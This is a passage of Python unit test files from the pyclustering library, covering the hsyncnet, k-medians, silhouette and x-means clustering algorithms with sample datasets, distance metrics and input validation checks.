HsyncnetUnitTest(unittest.TestCase): def testClusteringSampleSimple1(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, [5, 5], solve_type.FAST, 5, 0.3, True, False); def testClusteringOneAllocationSampleSimple1(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, [10], solve_type.FAST, 5, 0.3, True, False); def testClusteringSampleSimple1WithoutCollecting(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, [5, 5], solve_type.FAST, 5, 0.3, False, False); def testClusteringSampleSimple2(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 3, [10, 5, 8], solve_type.FAST, 5, 0.2, True, False); def testClusteringOneAllocationSampleSimple2(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 1, [23], solve_type.FAST, 5, 0.2, True, False); def testClusteringOneDimensionDataSampleSimple7(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 2, [10, 10], solve_type.FAST, 5, 0.3, True, False); def testClusteringTheSameData1(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 3, [5, 5, 5], solve_type.FAST, 5, 0.3, True, False); def testDynamicLengthCollecting(self): HsyncnetTestTemplates.templateDynamicLength(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, None, 5, 0.3, True, False); def testDynamicLengthWithoutCollecting(self): HsyncnetTestTemplates.templateDynamicLength(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, None, 5, 0.3, False, False); ``` #### File: tests/unit/ut_kmedians.py ```python import unittest import numpy # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.cluster.tests.kmedians_templates import KmediansTestTemplates from pyclustering.cluster.kmedians import kmedians from pyclustering.samples.definitions import SIMPLE_SAMPLES from pyclustering.utils import read_sample from pyclustering.utils.metric import type_metric, distance_metric class KmediansUnitTest(unittest.TestCase): def testClusterAllocationSampleSimple1(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], False) def testClusterAllocationSampleSimple1Euclidean(self): metric = distance_metric(type_metric.EUCLIDEAN) KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], False, metric=metric) def testClusterAllocationSampleSimple1EuclideanSquare(self): metric = distance_metric(type_metric.EUCLIDEAN_SQUARE) KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], False, metric=metric) def testClusterAllocationSampleSimple1Manhattan(self): metric = distance_metric(type_metric.MANHATTAN) KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], False, metric=metric) def testClusterAllocationSampleSimple1Chebyshev(self): metric = distance_metric(type_metric.CHEBYSHEV) KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], False, metric=metric) def testClusterAllocationSampleSimple1Minkowski(self): metric = distance_metric(type_metric.MINKOWSKI, degree=2.0) KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], False, metric=metric) def testClusterAllocationSampleSimple1UserDefined(self): metric = distance_metric(type_metric.USER_DEFINED, func=distance_metric(type_metric.EUCLIDEAN)) KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], False, metric=metric) def testClusterAllocationSample1NumpyArrayUserDefined(self): metric = distance_metric(type_metric.USER_DEFINED, func=distance_metric(type_metric.EUCLIDEAN)) input_data = numpy.array(read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE1)) initial_centers = numpy.array([[3.7, 5.5], [6.7, 7.5]]) KmediansTestTemplates.templateLengthProcessData(input_data, initial_centers, [5, 5], False, metric=metric) def testClusterAllocationSample2NumpyArrayUserDefined(self): metric = distance_metric(type_metric.USER_DEFINED, func=distance_metric(type_metric.EUCLIDEAN_SQUARE)) input_data = numpy.array(read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE2)) initial_centers = numpy.array([[3.5, 4.8], [6.9, 7], [7.5, 0.5]]) KmediansTestTemplates.templateLengthProcessData(input_data, initial_centers, [10, 5, 8], False, metric=metric) def testClusterOneAllocationSampleSimple1(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[1.0, 2.5]], [10], False) def testClusterAllocationSampleSimple2(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, [[3.5, 4.8], [6.9, 7], [7.5, 0.5]], [10, 5, 8], False) def testClusterOneAllocationSampleSimple2(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, [[0.5, 0.2]], [23], False) def testClusterAllocationSampleSimple3(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]], [10, 10, 10, 30], False) def testClusterOneAllocationSampleSimple3(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, [[0.2, 0.1]], [60], False) def testClusterAllocationSampleSimple5(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, [[0.0, 1.0], [0.0, 0.0], [1.0, 1.0], [1.0, 0.0]], [15, 15, 15, 15], False) def testClusterOneAllocationSampleSimple5(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, [[0.0, 0.0]], [60], False) def testClusterAllocationSample1WrongInitialNumberCenters1(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[2.8, 9.5], [3.5, 6.6], [1.3, 4.0]], None, False) def testClusterAllocationSample1WrongInitialNumberCenters2(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[2.8, 9.5], [3.5, 6.6], [1.3, 4.0], [1.2, 4.5]], None, False) def testClusterAllocationSample2WrongInitialNumberCenters(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, [[3.5, 4.8], [6.9, 7], [7.5, 0.5], [7.3, 4.5], [3.1, 5.4]], None, False) def testClusterTheSameData1(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, [ [4.1], [7.3] ], [10, 20], False) def testClusterTheSameData2(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, [ [1.1, 1.0], [3.0, 3.1], [5.0, 4.9] ], [5, 5, 5], False) def testOddSize(self): # Bug issue #428 (https://github.com/annoviko/pyclustering/issues/428) data = [[59.00732, 9.748167], [59.00608, 9.749117], [59.0047, 9.749933]] KmediansTestTemplates.templateLengthProcessData(data, [[59.00732, 9.748167], [59.00608, 9.749117]], None, False, tolerance=10) def testDifferentDimensions(self): kmedians_instance = kmedians([ [0, 1, 5], [0, 2, 3] ], [ [0, 3] ], ccore=False) self.assertRaises(NameError, kmedians_instance.process) def testClusterAllocationOneDimensionData(self): KmediansTestTemplates.templateClusterAllocationOneDimensionData(False) def testClusterAllocationTheSameObjectsOneInitialCenter(self): KmediansTestTemplates.templateClusterAllocationTheSameObjects(20, 1, False) def testClusterAllocationTheSameObjectsTwoInitialCenters(self): KmediansTestTemplates.templateClusterAllocationTheSameObjects(15, 2, False) def testClusterAllocationTheSameObjectsThreeInitialCenters(self): KmediansTestTemplates.templateClusterAllocationTheSameObjects(25, 3, False) def testClusterAllocationSampleRoughMediansSimple10(self): initial_medians = [[0.0772944481804071, 0.05224990900863469], [1.6021689021213712, 1.0347579135245601], [2.3341008076636096, 1.280022869739064]] KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, initial_medians, None, False) def testTotalWCESimple4(self): sample = [[0, 1, 5], [7, 8, 9], [0, 2, 3], [4, 5, 6]] initial_medians = [[0, 3, 2], [4, 6, 5]] kmedians_instance = kmedians(sample, initial_medians, ccore=False) self.assertNotEqual(self, kmedians_instance.get_total_wce(), 16.0) def testPredictOnePoint(self): centers = [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]] KmediansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[0.3, 0.2]], [0], False) KmediansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[4.1, 1.1]], [1], False) KmediansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[2.1, 1.9]], [2], False) KmediansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[2.1, 4.1]], [3], False) def testPredictOnePointUserMetric(self): centers = [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]] metric = distance_metric(type_metric.USER_DEFINED, func=distance_metric(type_metric.EUCLIDEAN)) KmediansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[0.3, 0.2]], [0], False, metric=metric) def testPredictTwoPoints(self): centers = [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]] KmediansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[0.3, 0.2], [2.1, 1.9]], [0, 2], False) KmediansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[2.1, 4.1], [2.1, 1.9]], [3, 2], False) def testPredictTwoPointsUserMetric(self): centers = [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]] metric = distance_metric(type_metric.USER_DEFINED, func=distance_metric(type_metric.EUCLIDEAN)) KmediansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, [[0.3, 0.2], [2.1, 1.9]], [0, 2], False, metric=metric) def testPredictFourPoints(self): centers = [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]] to_predict = [[0.3, 0.2], [4.1, 1.1], [2.1, 1.9], [2.1, 4.1]] KmediansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, to_predict, [0, 1, 2, 3], False) def testPredictFivePoints(self): centers = [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]] to_predict = [[0.3, 0.2], [4.1, 1.1], [3.9, 1.1], [2.1, 1.9], [2.1, 4.1]] KmediansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, to_predict, [0, 1, 1, 2, 3], False) def testPredictFivePointsUserMetric(self): centers = [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]] to_predict = [[0.3, 0.2], [4.1, 1.1], [3.9, 1.1], [2.1, 1.9], [2.1, 4.1]] metric = distance_metric(type_metric.USER_DEFINED, func=distance_metric(type_metric.EUCLIDEAN)) KmediansTestTemplates.templatePredict(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, centers, to_predict, [0, 1, 1, 2, 3], False, metric=metric) def testItermax0(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [], False, itermax=0) def testItermax1(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], False, itermax=1) def testItermax10Simple01(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], False, itermax=10) def testItermax10Simple02(self): KmediansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, [[3.5, 4.8], [6.9, 7], [7.5, 0.5]], [10, 5, 8], False, itermax=10) def test_incorrect_data(self): self.assertRaises(ValueError, kmedians, [], [[1]]) def test_incorrect_centers(self): self.assertRaises(ValueError, kmedians, [[0], [1], [2]], []) def test_incorrect_tolerance(self): self.assertRaises(ValueError, kmedians, [[0], [1], [2]], [[1]], -1.0) def test_incorrect_itermax(self): self.assertRaises(ValueError, kmedians, [[0], [1], [2]], [[1]], itermax=-5) ``` #### File: tests/unit/ut_silhouette.py ```python import unittest # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.cluster.silhouette import silhouette, silhouette_ksearch_type from pyclustering.cluster.tests.silhouette_templates import silhouette_test_template from pyclustering.samples.definitions import SIMPLE_SAMPLES, SIMPLE_ANSWERS class silhouette_unit_tests(unittest.TestCase): def test_correct_score_simple01(self): silhouette_test_template.correct_scores(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, SIMPLE_ANSWERS.ANSWER_SIMPLE1, False) def test_correct_score_simple02(self): silhouette_test_template.correct_scores(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, SIMPLE_ANSWERS.ANSWER_SIMPLE2, False) def test_correct_score_simple03(self): silhouette_test_template.correct_scores(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, SIMPLE_ANSWERS.ANSWER_SIMPLE3, False) def test_correct_score_simple04(self): silhouette_test_template.correct_scores(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, SIMPLE_ANSWERS.ANSWER_SIMPLE4, False) def test_correct_score_simple05(self): silhouette_test_template.correct_scores(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, SIMPLE_ANSWERS.ANSWER_SIMPLE5, False) def test_correct_score_simple06(self): silhouette_test_template.correct_scores(SIMPLE_SAMPLES.SAMPLE_SIMPLE6, SIMPLE_ANSWERS.ANSWER_SIMPLE6, False) def test_correct_score_simple07(self): silhouette_test_template.correct_scores(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, SIMPLE_ANSWERS.ANSWER_SIMPLE7, False) def test_correct_score_simple08(self): silhouette_test_template.correct_scores(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, SIMPLE_ANSWERS.ANSWER_SIMPLE8, False) def test_correct_ksearch_simple01(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, SIMPLE_ANSWERS.ANSWER_SIMPLE1, 2, 10, silhouette_ksearch_type.KMEANS, False) def test_correct_ksearch_simple01_kmedoids(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, SIMPLE_ANSWERS.ANSWER_SIMPLE1, 2, 10, silhouette_ksearch_type.KMEDOIDS, False) def test_correct_ksearch_simple01_kmedians(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, SIMPLE_ANSWERS.ANSWER_SIMPLE1, 2, 10, silhouette_ksearch_type.KMEDIANS, False) def test_correct_ksearch_simple02(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, SIMPLE_ANSWERS.ANSWER_SIMPLE2, 2, 10, silhouette_ksearch_type.KMEANS, False) def test_correct_ksearch_simple02_kmedoids(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, SIMPLE_ANSWERS.ANSWER_SIMPLE2, 2, 10, silhouette_ksearch_type.KMEDOIDS, False) def test_correct_ksearch_simple02_kmedians(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, SIMPLE_ANSWERS.ANSWER_SIMPLE2, 2, 10, silhouette_ksearch_type.KMEDIANS, False) def test_correct_ksearch_simple03(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, SIMPLE_ANSWERS.ANSWER_SIMPLE3, 2, 10, silhouette_ksearch_type.KMEANS, False) def test_correct_ksearch_simple03_kmedoids(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, SIMPLE_ANSWERS.ANSWER_SIMPLE3, 2, 10, silhouette_ksearch_type.KMEDOIDS, False) def test_correct_ksearch_simple03_kmedians(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, SIMPLE_ANSWERS.ANSWER_SIMPLE3, 2, 10, silhouette_ksearch_type.KMEDIANS, False) def test_correct_ksearch_simple05(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, SIMPLE_ANSWERS.ANSWER_SIMPLE5, 2, 10, silhouette_ksearch_type.KMEANS, False) def test_correct_ksearch_simple06(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE6, SIMPLE_ANSWERS.ANSWER_SIMPLE6, 2, 10, silhouette_ksearch_type.KMEANS, False) def test_correct_ksearch_simple07(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, SIMPLE_ANSWERS.ANSWER_SIMPLE7, 2, 10, silhouette_ksearch_type.KMEANS, False) def test_correct_ksearch_simple08(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, SIMPLE_ANSWERS.ANSWER_SIMPLE8, 2, 10, silhouette_ksearch_type.KMEANS, False) def test_correct_ksearch_simple09(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, SIMPLE_ANSWERS.ANSWER_SIMPLE9, 2, 10, silhouette_ksearch_type.KMEANS, False) def test_correct_ksearch_simple10(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, SIMPLE_ANSWERS.ANSWER_SIMPLE10, 2, 10, silhouette_ksearch_type.KMEANS, False) def test_correct_ksearch_simple11(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, SIMPLE_ANSWERS.ANSWER_SIMPLE11, 2, 10, silhouette_ksearch_type.KMEANS, False) def test_correct_ksearch_simple12(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, SIMPLE_ANSWERS.ANSWER_SIMPLE12, 2, 10, silhouette_ksearch_type.KMEANS, False) def test_correct_ksearch_simple13(self): silhouette_test_template.correct_ksearch(SIMPLE_SAMPLES.SAMPLE_SIMPLE13, SIMPLE_ANSWERS.ANSWER_SIMPLE13, 2, 10, silhouette_ksearch_type.KMEANS, False) def test_distance_matrix_sample01(self): silhouette_test_template.correct_processing_data_types(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, SIMPLE_ANSWERS.ANSWER_SIMPLE1, False) def test_distance_matrix_sample02(self): silhouette_test_template.correct_processing_data_types(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, SIMPLE_ANSWERS.ANSWER_SIMPLE2, False) def test_distance_matrix_sample03(self): silhouette_test_template.correct_processing_data_types(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, SIMPLE_ANSWERS.ANSWER_SIMPLE3, False) def test_distance_matrix_sample04(self): silhouette_test_template.correct_processing_data_types(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, SIMPLE_ANSWERS.ANSWER_SIMPLE4, False) def test_distance_matrix_sample05(self): silhouette_test_template.correct_processing_data_types(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, SIMPLE_ANSWERS.ANSWER_SIMPLE5, False) def test_distance_matrix_sample06(self): silhouette_test_template.correct_processing_data_types(SIMPLE_SAMPLES.SAMPLE_SIMPLE6, SIMPLE_ANSWERS.ANSWER_SIMPLE6, False) def test_distance_matrix_sample07(self): silhouette_test_template.correct_processing_data_types(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, SIMPLE_ANSWERS.ANSWER_SIMPLE7, False) def test_random_state_1_kmeans(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEANS, 1, False) def test_random_state_2_kmeans(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEANS, 2, False) def test_random_state_4_kmeans(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEANS, 4, False) def test_random_state_8_kmeans(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEANS, 8, False) def test_random_state_16_kmeans(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEANS, 16, False) def test_random_state_128_kmeans(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEANS, 128, False) def test_random_state_1024_kmeans(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEANS, 1024, False) def test_random_state_1_kmedians(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEDIANS, 1, False) def test_random_state_2_kmedians(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEDIANS, 2, False) def test_random_state_4_kmedians(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEDIANS, 4, False) def test_random_state_128_kmedians(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEDIANS, 128, False) def test_random_state_1024_kmedians(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEDIANS, 1024, False) def test_random_state_1_kmedoids(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEDOIDS, 1, False) def test_random_state_2_kmedoids(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEDIANS, 2, False) def test_random_state_4_kmedoids(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEDIANS, 4, False) def test_random_state_128_kmedoids(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEDIANS, 128, False) def test_random_state_1024_kmedoids(self): silhouette_test_template.random_state(2, 10, silhouette_ksearch_type.KMEDIANS, 1024, False) def test_incorrect_data(self): self.assertRaises(ValueError, silhouette, [], [[1, 2], [3, 4]]) def test_incorrect_clusters(self): self.assertRaises(ValueError, silhouette, [[1], [2], [3], [4]], []) ``` #### File: tests/unit/ut_xmeans.py ```python import unittest # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.cluster.tests.xmeans_templates import XmeansTestTemplates from pyclustering.cluster.xmeans import xmeans, splitting_type from pyclustering.samples.definitions import SIMPLE_SAMPLES, FCPS_SAMPLES from pyclustering.utils import read_sample from pyclustering.utils.metric import distance_metric, type_metric class XmeansUnitTest(unittest.TestCase): def testBicClusterAllocationSampleSimple1(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicClusterAllocationSampleSimple1Repeat(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, repeat=5) def testBicSampleSimple1WithoutInitialCenters(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, None, [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False) def testBicSampleSimple1WithoutInitialCentersRepeat(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, None, [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, repeat=3) def testBicSampleSimple1MaxLessReal(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5]], None, splitting_type.BAYESIAN_INFORMATION_CRITERION, 1, False) def testBicSampleSimple1MaxLessRealRepeat(self): XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5]], None, splitting_type.BAYESIAN_INFORMATION_CRITERION, 1, False, repeat=5) def testBicClusterAllocationSampleSimple1MetricEuclidean(self): metric = distance_metric(type_metric.EUCLIDEAN) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, metric=metric) def testBicClusterAllocationSampleSimple1MetricEuclideanSquare(self): metric = distance_metric(type_metric.EUCLIDEAN_SQUARE) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, metric=metric) def testBicClusterAllocationSampleSimple1MetricManhattan(self): metric = distance_metric(type_metric.MANHATTAN) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, metric=metric) def testBicClusterAllocationSampleSimple1MetricChebyshev(self): metric = distance_metric(type_metric.CHEBYSHEV) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, metric=metric) def testBicClusterAllocationSampleSimple1MetricMinkowski2(self): metric = distance_metric(type_metric.MINKOWSKI, degree=2) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, metric=metric) def testBicClusterAllocationSampleSimple1MetricMinkowski4(self): metric = distance_metric(type_metric.MINKOWSKI, degree=4) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, metric=metric) def testBicClusterAllocationSampleSimple1MetricCanberra(self): metric = distance_metric(type_metric.CANBERRA) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, metric=metric) def testBicClusterAllocationSampleSimple1MetricChiSquare(self): metric = distance_metric(type_metric.CHI_SQUARE) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, metric=metric) def testBicClusterAllocationSampleSimple1MetricGower(self): metric = distance_metric(type_metric.GOWER, data=read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE1)) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.BAYESIAN_INFORMATION_CRITERION, 20, False, metric=metric) def testMndlClusterAllocationSampleSimple1MetricEuclidean(self): metric = distance_metric(type_metric.EUCLIDEAN) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, metric=metric) def testMndlClusterAllocationSampleSimple1MetricEuclideanSquare(self): metric = distance_metric(type_metric.EUCLIDEAN_SQUARE) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, metric=metric, alpha=0.1, beta=0.1) def testMndlClusterAllocationSampleSimple1MetricManhattan(self): metric = distance_metric(type_metric.MANHATTAN) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, metric=metric) def testMndlClusterAllocationSampleSimple1MetricChebyshev(self): metric = distance_metric(type_metric.CHEBYSHEV) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, metric=metric) def testMndlClusterAllocationSampleSimple1MetricMinkowski2(self): metric = distance_metric(type_metric.MINKOWSKI, degree=2) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, metric=metric) def testMndlClusterAllocationSampleSimple1MetricMinkowski4(self): metric = distance_metric(type_metric.MINKOWSKI, degree=4) XmeansTestTemplates.templateLengthProcessData(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [[3.7, 5.5], [6.7, 7.5]], [5, 5], splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, 20, False, metric=metric) def 